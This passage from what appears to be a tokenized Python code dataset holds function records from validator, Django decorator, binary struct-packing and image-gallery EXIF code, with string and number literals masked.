None<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>field_value = getattr(field_value, field)<EOL><DEDENT><DEDENT>return field_value<EOL><DEDENT>except (IndexError, AttributeError, KeyError, TypeError):<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Helper to get field value from string path.\nString '<context>' is used to go up on context stack. It just\ncan be used at the beginning of path: <context>.<context>.field_name_1\nOn the other hand, '<root>' is used to start lookup from first item on context.", "id": "f13359:m0"}
{"signature": "def _get_checking_value(self, value):", "body": "return value<EOL>", "docstring": "It must be override on descendant validators", "id": "f13359:c6:m1"}
{"signature": "def __init__(self, error_code_map=None, error_messages=None,<EOL>message_values=None, hidden=False, *args, **kwargs):", "body": "self.error_code_map = self.error_code_map.copy()<EOL>self.error_messages = self.error_messages.copy()<EOL>self.message_values = self.message_values.copy()<EOL>if error_code_map:<EOL><INDENT>self.error_code_map.update(error_code_map)<EOL><DEDENT>if error_messages:<EOL><INDENT>self.error_messages.update(error_messages)<EOL><DEDENT>if message_values:<EOL><INDENT>self.message_values.update(message_values)<EOL><DEDENT>self.messages = {}<EOL>self.hidden = hidden<EOL>", "docstring": ":param error_code_map: Map of orginial error codes to custom error codes\n:rparam error_code_map: dict\n:param error_messages: Map of error codes to error messages\n:rparam error_messages: dict\n:param message_values: Map of placeholders to values\n:rparam error_messages: dict", "id": "f13360:c1:m0"}
{"signature": "def error(self, error_code, value, **kwargs):", "body": "code = self.error_code_map.get(error_code, error_code)<EOL>try:<EOL><INDENT>message = Template(self.error_messages[code])<EOL><DEDENT>except KeyError:<EOL><INDENT>message = Template(self.error_messages[error_code])<EOL><DEDENT>placeholders = {\"<STR_LIT:value>\": self.hidden_value if self.hidden else value}<EOL>placeholders.update(kwargs)<EOL>placeholders.update(self.message_values)<EOL>self.messages[code] = message.safe_substitute(placeholders)<EOL>", "docstring": "Helper to add error to messages field. It fills placeholder with extra call parameters\nor values from message_value map.\n\n:param error_code: Error code to use\n:rparam error_code: str\n:param value: Value checked\n:param kwargs: Map of values to use in placeholders", "id": "f13360:c1:m1"}
{"signature": "def __init__(self, comp_value=None, *args, **kwargs):", "body": "super(EqualTo, self).__init__(*args, **kwargs)<EOL>self.comp_value = comp_value<EOL>self.message_values.update({'<STR_LIT>': self.comp_value})<EOL>", "docstring": ":param comp_value: Static value to use on check", "id": "f13360:c2:m0"}
{"signature": "def __init__(self, comp_value=None, *args, **kwargs):", "body": "super(NotEqualTo, self).__init__(*args, **kwargs)<EOL>self.comp_value = comp_value<EOL>self.message_values.update({'<STR_LIT>': self.comp_value})<EOL>", "docstring": ":param comp_value: Static value to use on check", "id": "f13360:c3:m0"}
{"signature": "def __init__(self, token=None, case_sensitive=True, *args, **kwargs):", "body": "super(StringNotContaining, self).__init__(*args, **kwargs)<EOL>self.token = token<EOL>self.case_sensitive = case_sensitive<EOL>self.message_values.update({'<STR_LIT>': self.token})<EOL>", "docstring": ":param token: Static value to see check it is contained in the string\n:param case_sensitive: Boolean to check the string matching case or not", "id": "f13360:c4:m0"}
{"signature": "def date_proc(func):", "body": "@wraps(func)<EOL>def wrapped(request, *args, **kwargs):<EOL><INDENT>if '<STR_LIT:date>' in request.GET and request.GET['<STR_LIT:date>'] == '<STR_LIT>':<EOL><INDENT>raise Http404(\"<STR_LIT>\")<EOL><DEDENT>elif '<STR_LIT:date>' not in request.GET:<EOL><INDENT>date = datetime.today()<EOL>return func(request, date)<EOL><DEDENT>else:<EOL><INDENT>date = tuple(int(intValue) for intValue in request.GET['<STR_LIT:date>'].split('<STR_LIT:->'))<EOL>if len(date) == <NUM_LIT:3>:<EOL><INDENT>date = datetime(*date)<EOL><DEDENT>elif len(date) == <NUM_LIT:2>:<EOL><INDENT>date = datetime(*date, day = <NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>date = datetime(*date, month = <NUM_LIT:1>, day = <NUM_LIT:1>)<EOL><DEDENT>return func(request, date)<EOL><DEDENT><DEDENT>return wrapped<EOL>", "docstring": "An decorator checking whether date parameter is passing in or not. If not, default date value is all PTT data.\n            Else, return PTT data with right date.\n    Args:\n            func: function you want to decorate.\n            request: WSGI request parameter getten from django.\n\n    Returns:\n            date:\n                    a datetime variable, you can only give year, year + month or year + month + day, three type.\n                    The missing part would be assigned default value 1 (for month is Jan, for day is 1).", "id": "f13365:m0"}
{"signature": "def queryString_required(strList):", "body": "def _dec(function):<EOL><INDENT>@wraps(function)<EOL>def _wrap(request, *args, **kwargs):<EOL><INDENT>for i in strList:<EOL><INDENT>if i not in request.GET:<EOL><INDENT>raise Http404(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>return function(request, *args, **kwargs)<EOL><DEDENT>return _wrap<EOL><DEDENT>return _dec<EOL>", "docstring": "An decorator checking whether queryString key is valid or not\n    Args:\n            str: allowed queryString key\n\n    Returns:\n            if contains invalid queryString key, it will raise exception.", "id": "f13365:m1"}
{"signature": "def queryString_required_ClassVersion(strList):", "body": "def _dec(function):<EOL><INDENT>@wraps(function)<EOL>def _wrap(classInstance, request, *args, **kwargs):<EOL><INDENT>for i in strList:<EOL><INDENT>if i not in request.GET:<EOL><INDENT>raise Http404(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>return function(classInstance, request, *args, **kwargs)<EOL><DEDENT>return _wrap<EOL><DEDENT>return _dec<EOL>", "docstring": "An decorator checking whether queryString key is valid or not\n    Args:\n            str: allowed queryString key\n\n    Returns:\n            if contains invalid queryString key, it will raise exception.", "id": "f13365:m2"}
{"signature": "def getJsonFromApi(view, request):", "body": "jsonText = view(request)<EOL>jsonText = json.loads(jsonText.content.decode('<STR_LIT:utf-8>'))<EOL>return jsonText<EOL>", "docstring": "Return json from querying Web Api\n\n            Args:\n                    view: django view function.\n                    request: http request object got from django.\n\n            Returns: json format dictionary", "id": "f13365:m5"}
{"signature": "def _set_range(self, start, stop, value, value_len):", "body": "assert stop >= start and value_len >= <NUM_LIT:0><EOL>range_len = stop - start<EOL>if range_len < value_len:<EOL><INDENT>self._insert_zeros(stop, stop + value_len - range_len)<EOL>self._copy_to_range(start, value, value_len)<EOL><DEDENT>elif range_len > value_len:<EOL><INDENT>self._del_range(stop - (range_len - value_len), stop)<EOL>self._copy_to_range(start, value, value_len)<EOL><DEDENT>else:<EOL><INDENT>self._copy_to_range(start, value, value_len)<EOL><DEDENT>", "docstring": "Assumes that start and stop are already in 'buffer' coordinates. value is a byte iterable.\nvalue_len is fractional.", "id": "f13399:c1:m8"}
{"signature": "def pack(self):", "body": "fields = self._all_fields()<EOL>ctx = PackContext(self, fields)<EOL>for field in fields:<EOL><INDENT>if field.pack_if.deref(ctx):<EOL><INDENT>try:<EOL><INDENT>ctx.output_buffer.set(field.pack_ref.deref(ctx), field.pack_absolute_position_ref.deref(ctx))<EOL><DEDENT>except:<EOL><INDENT>raise chain_exceptions(InstructBufferError(\"<STR_LIT>\", ctx, type(self),<EOL>field.attr_name()))<EOL><DEDENT><DEDENT><DEDENT>result = bytearray(ctx.output_buffer.get())<EOL>static_byte_size = type(self).byte_size<EOL>if static_byte_size:<EOL><INDENT>static_byte_size = int(math.ceil(static_byte_size))<EOL>assert len(result) <= static_byte_size,(\"<STR_LIT>\" +<EOL>\"<STR_LIT>\").format(type(self), len(result),<EOL>static_byte_size)<EOL>if len(result) < static_byte_size:<EOL><INDENT>result += bytearray(static_byte_size - len(result))<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Packs the object and returns a buffer representing the packed object.", "id": "f13400:c2:m1"}
{"signature": "def unpack(self, buffer):", "body": "fields = self._all_fields()<EOL>ctx = UnpackContext(self, fields, buffer)<EOL>for field in fields:<EOL><INDENT>try:<EOL><INDENT>if field.unpack_if.deref(ctx):<EOL><INDENT>for prev_field in field.unpack_after:<EOL><INDENT>prev_field.unpack_value_ref.deref(ctx)<EOL><DEDENT>field.unpack_value_ref.deref(ctx)<EOL><DEDENT>else:<EOL><INDENT>setattr(self, field.attr_name(), None)<EOL><DEDENT><DEDENT>except:<EOL><INDENT>raise chain_exceptions(InstructBufferError(\"<STR_LIT>\", ctx, type(self), field.attr_name()))<EOL><DEDENT><DEDENT>return self.calc_byte_size(ctx)<EOL>", "docstring": "Unpacks the object's fields from buffer.", "id": "f13400:c2:m2"}
{"signature": "def calc_byte_size(self, ctx=None):", "body": "if ctx is None:<EOL><INDENT>ctx = PackContext(self, type(self).__fields__)<EOL><DEDENT>return TotalSizeReference().deref(ctx)<EOL>", "docstring": "Returns this instance's size. If the size has to be calculated it may require packing some of the fields.", "id": "f13400:c2:m3"}
{"signature": "def __init__(self, start, stop):", "body": "self.start = start if start is not None else <NUM_LIT:0><EOL>self.stop = stop<EOL>assert self.start >= <NUM_LIT:0>, \"<STR_LIT>\".format(self.start)<EOL>if self.stop is not None:<EOL><INDENT>assert self.stop >= <NUM_LIT:0>, \"<STR_LIT>\".format(self.stop)<EOL>assert self.start <= self.stop, \"<STR_LIT>\".format(self.start, self.stop)<EOL><DEDENT>", "docstring": ":param start: range start (non-negative)\n:type start: int or float\n:param stop: range stop (can be None for open range). If not None, must be >= start.\n:type stop: int, float or None", "id": "f13401:c1:m0"}
{"signature": "def is_open(self):", "body": "return self.stop is None<EOL>", "docstring": ":returns: True if the range is open, i.e. stop is None\n:rtype: bool", "id": "f13401:c1:m1"}
{"signature": "def to_closed(self, new_stop):", "body": "assert new_stop >= self.start, \"<STR_LIT>\".format(self.start, new_stop)<EOL>return SequentialRange(self.start, self.stop if self.stop is not None else new_stop)<EOL>", "docstring": ":param new_stop: new stop value to use if existing stop is None. Must be >= start.\n:type new_stop: int or float\n:returns: new closed range, using the current stop if self is a closed range or new_stop if self is open.\n:rtype: SequentialRange", "id": "f13401:c1:m2"}
{"signature": "def byte_length(self):", "body": "if self.is_open():<EOL><INDENT>return None<EOL><DEDENT>return self.stop - self.start<EOL>", "docstring": ":returns: length of range if a closed range or None if open range.\n:rtype: int or float or None", "id": "f13401:c1:m3"}
{"signature": "def max_stop(self):", "body": "return self.stop<EOL>", "docstring": ":returns: length of range if a closed range or None if open range.\n:rtype: int or float or None", "id": "f13401:c1:m4"}
{"signature": "def to_slice(self):", "body": "return slice(self.start, self.stop, <NUM_LIT:1>)<EOL>", "docstring": ":returns: a slice object from start to stop\n:rtype: slice", "id": "f13401:c1:m5"}
{"signature": "def overlaps(self, other):", "body": "a, b = (self, other) if self.start <= other.start else (other, self)<EOL>a_imag_stop = a.to_closed(sys.maxsize).stop<EOL>return a_imag_stop > b.start<EOL>", "docstring": ":returns: True if there's an overlap (non-empty intersection) between two ranges\n:rtype: bool", "id": "f13401:c1:m6"}
{"signature": "def contains(self, point):", "body": "return self.start <= point and (self.stop is None or self.stop > point)<EOL>", "docstring": ":param point: point to check if contained in range\n:type point: int or float\n:returns: True if the range contains `point`\n:rtype: bool", "id": "f13401:c1:m7"}
{"signature": "def byte_length(self):", "body": "sum = <NUM_LIT:0><EOL>for r in self:<EOL><INDENT>if r.is_open():<EOL><INDENT>return None<EOL><DEDENT>sum += r.byte_length()<EOL><DEDENT>return sum<EOL>", "docstring": ":returns: sum of lengthes of all ranges or None if one of the ranges is open\n:rtype: int, float or None", "id": "f13401:c2:m2"}
{"signature": "def has_overlaps(self):", "body": "sorted_list = sorted(self)<EOL>for i in range(<NUM_LIT:0>, len(sorted_list) - <NUM_LIT:1>):<EOL><INDENT>if sorted_list[i].overlaps(sorted_list[i + <NUM_LIT:1>]):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": ":returns: True if one or more range in the list overlaps with another\n:rtype: bool", "id": "f13401:c2:m3"}
{"signature": "def max_stop(self):", "body": "m = <NUM_LIT:0><EOL>for r in self:<EOL><INDENT>if r.is_open():<EOL><INDENT>return None<EOL><DEDENT>m = max(m, r.stop)<EOL><DEDENT>return m<EOL>", "docstring": ":returns: maximum stop in list or None if there's at least one open range\n:type: int, float or None", "id": "f13401:c2:m4"}
{"signature": "def sorted(self):", "body": "return SequentialRangeList(sorted(self))<EOL>", "docstring": ":returns: a new sorted SequentialRangeList\n:rtype: SequentialRangeList", "id": "f13401:c2:m5"}
{"signature": "def byte_offset(self, bytes):", "body": "remaining_bytes = bytes<EOL>for r in self:<EOL><INDENT>if r.is_open() or r.byte_length() >= remaining_bytes:<EOL><INDENT>return r.start + remaining_bytes<EOL><DEDENT>else:<EOL><INDENT>remaining_bytes -= r.byte_length()<EOL><DEDENT><DEDENT>assert False, \"<STR_LIT>\".format(bytes, self)<EOL>", "docstring": "Maps `bytes` length to a sequence's offset. For example, if we do byte_offset(5) and our list of sequences is\n[(0, 2), (10, 11), (40, 45)] then the returned value will be 42.\nNote that `bytes` must be <= byte_length().\n:returns: actual offset in one of the sequences in the range for request byte length.\n:rtype: int or float", "id": "f13401:c2:m6"}
{"signature": "def deref(self, ctx):", "body": "if self in ctx.call_nodes:<EOL><INDENT>raise CyclicReferenceError(ctx, self)<EOL><DEDENT>if self in ctx.cached_results:<EOL><INDENT>return ctx.cached_results[self]<EOL><DEDENT>try:<EOL><INDENT>ctx.call_nodes.add(self)<EOL>ctx.call_stack.append(self)<EOL>result = self.evaluate(ctx)<EOL>ctx.cached_results[self] = result<EOL>return result<EOL><DEDENT>except:<EOL><INDENT>if ctx.exception_call_stack is None:<EOL><INDENT>ctx.exception_call_stack = list(ctx.call_stack)<EOL><DEDENT>raise<EOL><DEDENT>finally:<EOL><INDENT>ctx.call_stack.pop()<EOL>ctx.call_nodes.remove(self)<EOL><DEDENT>", "docstring": "Returns the value this reference is pointing to. This method uses 'ctx' to resolve the reference and return\nthe value this reference references.\nIf the call was already made, it returns a cached result.\nIt also makes sure there's no cyclic reference, and if so raises CyclicReferenceError.", "id": "f13411:c2:m1"}
{"signature": "def __new__(cls, min_val_or_tuple=<NUM_LIT:0>, max_val=sys.maxsize):", "body": "if isinstance(min_val_or_tuple, (list, tuple, MinMax)):<EOL><INDENT>assert len(min_val_or_tuple) == <NUM_LIT:2><EOL>min_val, max_val = min_val_or_tuple<EOL><DEDENT>else:<EOL><INDENT>min_val = min_val_or_tuple<EOL><DEDENT>assert min_val <= max_val<EOL>return super(MinMax, cls).__new__(cls, max(<NUM_LIT:0>, min_val), min(max_val, sys.maxsize))<EOL>", "docstring": "Initialize a new MinMax instance. This initializer works in four different modes:\n * Copy constructor. If you pass it a MinMax object it'll copy the min/max values.\n * Construct from tuple/list. Construct the min/max by accessing [0] and [1].\n * Construct from a single argument. User provides the min value, max is set to sys.maxsize.\n * Construct from two arguments. User provides the min and max values.", "id": "f13418:c2:m0"}
{"signature": "def create_from_string(self, string, context=EMPTY_CONTEXT, *args, **kwargs):", "body": "if not PY2 and not isinstance(string, bytes):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>io = StringIO(string)<EOL>instance = self.create_from_stream(io, context, *args, **kwargs)<EOL>io.close()<EOL>return instance<EOL>", "docstring": "Deserializes a new instance from a string.\nThis is a convenience method that creates a StringIO object and calls create_instance_from_stream().", "id": "f13418:c4:m3"}
{"signature": "def safe_repr(obj):", "body": "try:<EOL><INDENT>obj_repr = repr(obj)<EOL><DEDENT>except:<EOL><INDENT>obj_repr = \"<STR_LIT>\".format(type(obj), id(obj))<EOL><DEDENT>return obj_repr<EOL>", "docstring": "Returns a repr of an object and falls back to a minimal representation of type and ID if the call to repr raised\n    an error.\n\n    :param obj: object to safe repr\n    :returns: repr string or '(type<id> repr error)' string\n    :rtype: str", "id": "f13419:m0"}
{"signature": "def keep_kwargs_partial(func, *args, **keywords):", "body": "def newfunc(*fargs, **fkeywords):<EOL><INDENT>newkeywords = fkeywords.copy()<EOL>newkeywords.update(keywords)<EOL>return func(*(args + fargs), **newkeywords)<EOL><DEDENT>newfunc.func = func<EOL>newfunc.args = args<EOL>newfunc.keywords = keywords<EOL>return newfunc<EOL>", "docstring": "Like functools.partial but instead of using the new kwargs, keeps the old ones.", "id": "f13421:m0"}
{"signature": "def ConstField(name, value, marshal=None):", "body": "if marshal is None:<EOL><INDENT>marshal = value<EOL><DEDENT>if isinstance(marshal, Struct):<EOL><INDENT>marshal = type(marshal)<EOL><DEDENT>elif not isinstance(marshal, Marshal):<EOL><INDENT>raise InstructError(\"<STR_LIT>\" %<EOL>(name, value))<EOL><DEDENT>return OrigConstField(name, marshal, value)<EOL>", "docstring": "This macro can be used in several methods:\n\n>>> ConstField(\"foo\", 5, UBInt8)\n\nThis created a constant field called ``foo`` with a value of 5 and is serialized/deserialized using UBInt8.\n\n>>> ConstField(\"foo\", MyStruct(my_field=1, my_other_field=2))\n\nThis time ``foo`` is set with the ``MyStruct`` instance passed here. Notice that we don't need to pass an I/O\nargument because the value is an I/O instance by itself.\n\n:param name: name of the field\n:param value: the value to use as a constant\n:param marshal: a marshal instance to serialize/deserialize this field (optional if ``value`` is a marshal)\n:rtype: Field", "id": "f13424:m0"}
{"signature": "def generate_image(source, outname, settings, options=None):", "body": "logger = logging.getLogger(__name__)<EOL>if settings['<STR_LIT>'] or source.endswith('<STR_LIT>'):<EOL><INDENT>utils.copy(source, outname, symlink=settings['<STR_LIT>'])<EOL>return<EOL><DEDENT>img = _read_image(source)<EOL>original_format = img.format<EOL>if settings['<STR_LIT>'] and settings['<STR_LIT>']:<EOL><INDENT>logger.warning(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>if settings['<STR_LIT>'] and _has_exif_tags(img):<EOL><INDENT>if options is not None:<EOL><INDENT>options = deepcopy(options)<EOL><DEDENT>else:<EOL><INDENT>options = {}<EOL><DEDENT>options['<STR_LIT>'] = img.info['<STR_LIT>']<EOL><DEDENT>if settings['<STR_LIT>']:<EOL><INDENT>try:<EOL><INDENT>img = Transpose().process(img)<EOL><DEDENT>except (IOError, IndexError):<EOL><INDENT>pass<EOL><DEDENT><DEDENT>if settings['<STR_LIT>']:<EOL><INDENT>try:<EOL><INDENT>logger.debug('<STR_LIT>', settings['<STR_LIT>'])<EOL>processor_cls = getattr(pilkit.processors,<EOL>settings['<STR_LIT>'])<EOL><DEDENT>except AttributeError:<EOL><INDENT>logger.error('<STR_LIT>', settings['<STR_LIT>'])<EOL>sys.exit()<EOL><DEDENT>width, height = settings['<STR_LIT>']<EOL>if img.size[<NUM_LIT:0>] < img.size[<NUM_LIT:1>]:<EOL><INDENT>height, width = width, height<EOL><DEDENT>processor = processor_cls(width, height, upscale=False)<EOL>img = processor.process(img)<EOL><DEDENT>for receiver in signals.img_resized.receivers_for(img):<EOL><INDENT>img = receiver(img, settings=settings)<EOL><DEDENT>outformat = img.format or original_format or '<STR_LIT>'<EOL>logger.debug('<STR_LIT>', outname, outformat)<EOL>save_image(img, outname, outformat, options=options, autoconvert=True)<EOL>", "docstring": "Image processor, rotate and resize the image.\n\n    :param source: path to an image\n    :param outname: output filename\n    :param settings: settings dict\n    :param options: dict with PIL options (quality, optimize, progressive)", "id": "f13446:m2"}
{"signature": "def generate_thumbnail(source, outname, box, fit=True, options=None,<EOL>thumb_fit_centering=(<NUM_LIT:0.5>, <NUM_LIT:0.5>)):", "body": "logger = logging.getLogger(__name__)<EOL>img = _read_image(source)<EOL>original_format = img.format<EOL>if fit:<EOL><INDENT>img = ImageOps.fit(img, box, PILImage.ANTIALIAS,<EOL>centering=thumb_fit_centering)<EOL><DEDENT>else:<EOL><INDENT>img.thumbnail(box, PILImage.ANTIALIAS)<EOL><DEDENT>outformat = img.format or original_format or '<STR_LIT>'<EOL>logger.debug('<STR_LIT>', outname, outformat)<EOL>save_image(img, outname, outformat, options=options, autoconvert=True)<EOL>", "docstring": "Create a thumbnail image.", "id": "f13446:m3"}
{"signature": "def process_image(filepath, outpath, settings):", "body": "logger = logging.getLogger(__name__)<EOL>logger.info('<STR_LIT>', filepath)<EOL>filename = os.path.split(filepath)[<NUM_LIT:1>]<EOL>outname = os.path.join(outpath, filename)<EOL>ext = os.path.splitext(filename)[<NUM_LIT:1>]<EOL>if ext in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>options = settings['<STR_LIT>']<EOL><DEDENT>elif ext == '<STR_LIT>':<EOL><INDENT>options = {'<STR_LIT>': True}<EOL><DEDENT>else:<EOL><INDENT>options = {}<EOL><DEDENT>try:<EOL><INDENT>generate_image(filepath, outname, settings, options=options)<EOL>if settings['<STR_LIT>']:<EOL><INDENT>thumb_name = os.path.join(outpath, get_thumb(settings, filename))<EOL>generate_thumbnail(<EOL>outname, thumb_name, settings['<STR_LIT>'],<EOL>fit=settings['<STR_LIT>'], options=options,<EOL>thumb_fit_centering=settings[\"<STR_LIT>\"])<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>logger.info('<STR_LIT>', e)<EOL>if logger.getEffectiveLevel() == logging.DEBUG:<EOL><INDENT>raise<EOL><DEDENT>else:<EOL><INDENT>return Status.FAILURE<EOL><DEDENT><DEDENT>return Status.SUCCESS<EOL>", "docstring": "Process one image: resize, create thumbnail.", "id": "f13446:m4"}
{"signature": "def get_size(file_path):", "body": "try:<EOL><INDENT>im = _read_image(file_path)<EOL><DEDENT>except (IOError, IndexError, TypeError, AttributeError) as e:<EOL><INDENT>logger = logging.getLogger(__name__)<EOL>logger.error(\"<STR_LIT>\", file_path, e)<EOL><DEDENT>else:<EOL><INDENT>width, height = im.size<EOL>return {<EOL>'<STR_LIT:width>': width,<EOL>'<STR_LIT>': height<EOL>}<EOL><DEDENT>", "docstring": "Return image size (width and height).", "id": "f13446:m5"}
{"signature": "def get_exif_data(filename):", "body": "logger = logging.getLogger(__name__)<EOL>img = _read_image(filename)<EOL>try:<EOL><INDENT>exif = img._getexif() or {}<EOL><DEDENT>except ZeroDivisionError:<EOL><INDENT>logger.warning('<STR_LIT>')<EOL>return None<EOL><DEDENT>data = {TAGS.get(tag, tag): value for tag, value in exif.items()}<EOL>if '<STR_LIT>' in data:<EOL><INDENT>try:<EOL><INDENT>data['<STR_LIT>'] = {GPSTAGS.get(tag, tag): value<EOL>for tag, value in data['<STR_LIT>'].items()}<EOL><DEDENT>except AttributeError:<EOL><INDENT>logger = logging.getLogger(__name__)<EOL>logger.info('<STR_LIT>')<EOL>del data['<STR_LIT>']<EOL><DEDENT><DEDENT>return data<EOL>", "docstring": "Return a dict with the raw EXIF data.", "id": "f13446:m6"}
{"signature": "def get_iptc_data(filename):", "body": "logger = logging.getLogger(__name__)<EOL>iptc_data = {}<EOL>raw_iptc = {}<EOL>try:<EOL><INDENT>img = _read_image(filename)<EOL>raw_iptc = IptcImagePlugin.getiptcinfo(img)<EOL><DEDENT>except SyntaxError:<EOL><INDENT>logger.info('<STR_LIT>', filename)<EOL><DEDENT>if raw_iptc and (<NUM_LIT:2>, <NUM_LIT:5>) in raw_iptc:<EOL><INDENT>iptc_data[\"<STR_LIT:title>\"] = raw_iptc[(<NUM_LIT:2>, <NUM_LIT:5>)].decode('<STR_LIT:utf-8>', errors='<STR_LIT:replace>')<EOL><DEDENT>if raw_iptc and (<NUM_LIT:2>, <NUM_LIT>) in raw_iptc:<EOL><INDENT>iptc_data[\"<STR_LIT:description>\"] = raw_iptc[(<NUM_LIT:2>, <NUM_LIT>)].decode('<STR_LIT:utf-8>',<EOL>errors='<STR_LIT:replace>')<EOL><DEDENT>if raw_iptc and (<NUM_LIT:2>, <NUM_LIT>) in raw_iptc:<EOL><INDENT>iptc_data[\"<STR_LIT>\"] = raw_iptc[(<NUM_LIT:2>, <NUM_LIT>)].decode('<STR_LIT:utf-8>',<EOL>errors='<STR_LIT:replace>')<EOL><DEDENT>return iptc_data<EOL>", "docstring": "Return a dict with the raw IPTC data.", "id": "f13446:m7"}
{"signature": "def dms_to_degrees(v):", "body": "d = float(v[<NUM_LIT:0>][<NUM_LIT:0>]) / float(v[<NUM_LIT:0>][<NUM_LIT:1>])<EOL>m = float(v[<NUM_LIT:1>][<NUM_LIT:0>]) / float(v[<NUM_LIT:1>][<NUM_LIT:1>])<EOL>s = float(v[<NUM_LIT:2>][<NUM_LIT:0>]) / float(v[<NUM_LIT:2>][<NUM_LIT:1>])<EOL>return d + (m / <NUM_LIT>) + (s / <NUM_LIT>)<EOL>", "docstring": "Convert degree/minute/second to decimal degrees.", "id": "f13446:m8"}
{"signature": "def get_exif_tags(data, datetime_format='<STR_LIT>'):", "body": "logger = logging.getLogger(__name__)<EOL>simple = {}<EOL>for tag in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>if tag in data:<EOL><INDENT>if isinstance(data[tag], tuple):<EOL><INDENT>simple[tag] = data[tag][<NUM_LIT:0>].strip()<EOL><DEDENT>else:<EOL><INDENT>simple[tag] = data[tag].strip()<EOL><DEDENT><DEDENT><DEDENT>if '<STR_LIT>' in data:<EOL><INDENT>fnumber = data['<STR_LIT>']<EOL>try:<EOL><INDENT>simple['<STR_LIT>'] = float(fnumber[<NUM_LIT:0>]) / fnumber[<NUM_LIT:1>]<EOL><DEDENT>except Exception:<EOL><INDENT>logger.debug('<STR_LIT>', fnumber, exc_info=True)<EOL><DEDENT><DEDENT>if '<STR_LIT>' in data:<EOL><INDENT>focal = data['<STR_LIT>']<EOL>try:<EOL><INDENT>simple['<STR_LIT>'] = round(float(focal[<NUM_LIT:0>]) / focal[<NUM_LIT:1>])<EOL><DEDENT>except Exception:<EOL><INDENT>logger.debug('<STR_LIT>', focal,<EOL>exc_info=True)<EOL><DEDENT><DEDENT>if '<STR_LIT>' in data:<EOL><INDENT>exptime = data['<STR_LIT>']<EOL>if isinstance(exptime, tuple):<EOL><INDENT>try:<EOL><INDENT>simple['<STR_LIT>'] = str(fractions.Fraction(exptime[<NUM_LIT:0>],<EOL>exptime[<NUM_LIT:1>]))<EOL><DEDENT>except ZeroDivisionError:<EOL><INDENT>logger.info('<STR_LIT>', exptime)<EOL><DEDENT><DEDENT>elif isinstance(exptime, int):<EOL><INDENT>simple['<STR_LIT>'] = str(exptime)<EOL><DEDENT>else:<EOL><INDENT>logger.info('<STR_LIT>', exptime)<EOL><DEDENT><DEDENT>if data.get('<STR_LIT>'):<EOL><INDENT>simple['<STR_LIT>'] = data['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in data:<EOL><INDENT>date = data['<STR_LIT>'].rsplit('<STR_LIT:\\x00>')[<NUM_LIT:0>]<EOL>try:<EOL><INDENT>simple['<STR_LIT>'] = datetime.strptime(date, '<STR_LIT>')<EOL>simple['<STR_LIT>'] = simple['<STR_LIT>'].strftime(datetime_format)<EOL><DEDENT>except (ValueError, TypeError) as e:<EOL><INDENT>logger.info('<STR_LIT>', e)<EOL><DEDENT><DEDENT>if '<STR_LIT>' in data:<EOL><INDENT>info = data['<STR_LIT>']<EOL>lat_info = info.get('<STR_LIT>')<EOL>lon_info = info.get('<STR_LIT>')<EOL>lat_ref_info = info.get('<STR_LIT>')<EOL>lon_ref_info = info.get('<STR_LIT>')<EOL>if lat_info and lon_info and lat_ref_info and lon_ref_info:<EOL><INDENT>try:<EOL><INDENT>lat = dms_to_degrees(lat_info)<EOL>lon = dms_to_degrees(lon_info)<EOL><DEDENT>except (ZeroDivisionError, ValueError, TypeError):<EOL><INDENT>logger.info('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>simple['<STR_LIT>'] = {<EOL>'<STR_LIT>': - lat if lat_ref_info != '<STR_LIT:N>' else lat,<EOL>'<STR_LIT>': - lon if lon_ref_info != '<STR_LIT:E>' else lon,<EOL>}<EOL><DEDENT><DEDENT><DEDENT>return simple<EOL>", "docstring": "Make a simplified version with common tags from raw EXIF data.", "id": "f13446:m9"}
{"signature": "def init_logging(name, level=logging.INFO):", "body": "logger = logging.getLogger(name)<EOL>logger.setLevel(level)<EOL>try:<EOL><INDENT>if os.isatty(sys.stdout.fileno()) andnot sys.platform.startswith('<STR_LIT>'):<EOL><INDENT>formatter = ColoredFormatter()<EOL><DEDENT>elif level == logging.DEBUG:<EOL><INDENT>formatter = Formatter('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>formatter = Formatter('<STR_LIT>')<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>formatter = Formatter('<STR_LIT>')<EOL><DEDENT>handler = logging.StreamHandler()<EOL>handler.setFormatter(formatter)<EOL>logger.addHandler(handler)<EOL>", "docstring": "Logging config\n\n    Set the level and create a more detailed formatter for debug mode.", "id": "f13448:m1"}
{"signature": "def load_exif(album):", "body": "if not hasattr(album.gallery, \"<STR_LIT>\"):<EOL><INDENT>_restore_cache(album.gallery)<EOL><DEDENT>cache = album.gallery.exifCache<EOL>for media in album.medias:<EOL><INDENT>if media.type == \"<STR_LIT:image>\":<EOL><INDENT>key = os.path.join(media.path, media.filename)<EOL>if key in cache:<EOL><INDENT>media.exif = cache[key]<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Loads the exif data of all images in an album from cache", "id": "f13450:m0"}
{"signature": "def _restore_cache(gallery):", "body": "cachePath = os.path.join(gallery.settings[\"<STR_LIT>\"], \"<STR_LIT>\")<EOL>try:<EOL><INDENT>if os.path.exists(cachePath):<EOL><INDENT>with open(cachePath, \"<STR_LIT:rb>\") as cacheFile:<EOL><INDENT>gallery.exifCache = pickle.load(cacheFile)<EOL>logger.debug(\"<STR_LIT>\", len(gallery.exifCache))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>gallery.exifCache = {}<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>logger.warn(\"<STR_LIT>\", e)<EOL>gallery.exifCache = {}<EOL><DEDENT>", "docstring": "Restores the exif data cache from the cache file", "id": "f13450:m1"}
